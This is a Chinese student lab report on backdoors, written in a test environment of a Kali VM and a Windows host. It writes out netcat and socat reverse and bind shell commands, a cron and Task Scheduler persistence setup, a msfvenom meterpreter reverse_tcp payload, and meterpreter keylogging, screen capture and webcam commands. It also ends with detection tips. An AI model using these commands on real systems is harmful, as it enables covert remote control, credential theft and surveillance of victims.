20145218张晓涵 后门原理与实践
实验原理
1. 什么是后门?
- 后门程序就是留在计算机系统中,供某位特殊使用者通过某种特殊方式控制计算机系统的途径。 是一种登录系统的方法,它不仅绕过系统已有的安全设置,而且还能挫败系统上各种增强的安全设置。
- 后门程序和电脑病毒最大的差别,在于后门程序不一定有自我复制的动作,也就是后门程序不一定会“感染”其它电脑。
2. 有哪些常用后门工具?
- netcat:
nc 主机名/IP 端口号/服务名
,只要甲主机打开了端口(任何对外服务的端口),乙主机就可以使用nc命令连接这个端口。两台主机可以进行数据交换。 - Meterpreter:用payload在被攻击者机上开一个端口A,把命令行终端绑定到A上,攻击者访问A,就与被攻击者机器交互。
实验过程记录
在进行实验之前,需要:
- 开启kali虚拟机,可以使用windows本机或者一个windows虚拟机;
- 联网,确保以上两个系统处于同一网段,让两台机器ping通。windows:172.30.7.84,kali:192.168.80.130
- 在windows系统中,下载并解压ncat与socat;
1.使用netcat获取主机操作Shell
(1)win获取linux的shell
-
在windows系统中打开命令行,cd进入ncat.exe所在的文件夹目录下,输入指令
ncat.exe -l -p 5218
,开启netcat监听; -
在kali中,输入指令
nc win的IP 5218 -e /bin/sh
,开启链接; -
windows中可以“坐等”连接,然后获取到kali的shell,比如输入了ls,就可以显示kali虚拟机中home目录下的文件信息。因为是kali的shell,所以ls命令也是可以执行的。
(2)Kali获取Win的shell
-
Kali开启netcat监听,输入命令
nc -l -p 5218
-
windows链接(注意:仍然要在有ncat.exe的目录下),
ncat.exe -e cmd.exe linux的IP 5218
-
kali中获取windows的shell,输入ipconfig,可以查看windows的ip地址信息,但是出现了很多乱码。
2.使用socat获取主机操作Shell
(1)Kali获取Wi的shell
-
Windows中开启监听程序,
socat tcp-listen:5218 exec:cmd,pty,stderr
//把cmd綁定到端口5218 -
Kali连接Win中开启的监听程序,获取shell,
socat - tcp:win的ip:5218
//连接到服务器的5218端口,即可获得一个cmd shell -
就可以当做是在windows的cmd中,输入ipconfig进行测试
(2)Win获取Kali的shell。
- 原理与步骤同上,不再详细描述。
3.计划任务自启动
(1)cron启动
- kali中使用
crontab -e
进入了编辑模式,在最后一行参照之前的格式加入一条自动执行netcat的指令,即:05 * * * * * /bin/netcat 172.30.7.84 5218 -e /bin/sh
,05即每小时第五分钟启动。 - 到了第五分钟的时候我们的win程序就可以控制Linux程序了。
(2)使用任务计划程序开启Windows定时连接
-
打开计划任务(控制面板→管理工具→任务计划程序→创建任务),填写任务名
-
在“创建任务”—“操作”选项卡中设置任务操作(点击左下方“新建…”选项)
-
选择“浏览…”,找到socat.exe所在目录,点击选中socat.exe;
-
在下方的“添加参数”中,添加如下参数:tcp-listen:5218 exec:cmd,pty,stderr 然后点击确定
-
在“触发器”选项卡中选择“新建…”,可以设置任务频率以及开始时间。
-
静静等待设定的时间,自动弹出窗口
4.使用MSF meterpreter生成可执行文件获取主机Shell
(1)后门程序生成
-
输入以下命令生成后门程序,
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f exe >20145218.exe
-
传输到windows系统中,传输命令如下图所示,如果被查杀,找回文件即可(可以用U盘拷贝,但是要注意关闭防火墙及杀毒软件,否则文件拷贝到电脑之后会被防火墙直接删除或被查杀)
(2)打开msf进行设置,输入msfconsole
进入msf,设置命令如下图所示
注意:LHOST为kali系统的IP,目标端口为443,然后双击刚才生成的.exe文件,在Kali的msf中输入exploit,就完全获取了windows的shell
5.meterpreter信息搜集
-
获取基本系统信息,
sysinfo
;
-
抓取windows系统中的当前屏幕;
-
键盘记录内容:
keyscan_start
:开始捕捉键盘记录,keyscan_dump
停止键盘记录的捕捉并显示出来键盘的记录
-
meterpreter安装为服务,
run metsvc
-
控制摄像头,这里因为没有给虚拟机添加相应的硬件,所以没能打开摄像头
基础问题思考与回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 后门程序可能伪装成正常程序,在我们在网上下载什么东西时或随着优盘插入时进入电脑中,只要我们点击启动后,后门程序可以自动运行。
- 操作系统本身设计时就留有后门。
2.后门如何启动起来(win及linux)?
- Windows中:后门程序作为.exe文件或者快捷方式,被用户点击后启动,或者安装为服务后,进行自启动;
- Linux中:后门程序被设置在cron等服务中实现自启动。
3.Meterpreter有哪些给你印象深刻的功能?
- 竟然可以控制摄像头!在关闭防火墙之后,kali中随便敲一条指令就可以实现在windows中摄像头抓取等功能,想想十分后怕,幸亏早就把摄像头用创可贴粘起来了。
- 获取当前目录下的进程也很容易有危险,尤其是对于具有敏感信息的电脑。
- 键盘记录内容,可以清楚地知道我们输入了什么内容,通过梳理分析就可能知道我们各种各样的密码之类的秘密信息。
4.如何发现自己有系统有没有被安装后门?
- 查看系统服务项中有没有来源不明的程序,有没有明明奇怪的程序等;
- 利用杀毒软件或者系统自带的防火墙定期进行病毒查杀,比如这次的后门程序,其实是可以被防火墙和杀毒软件识别并清除的。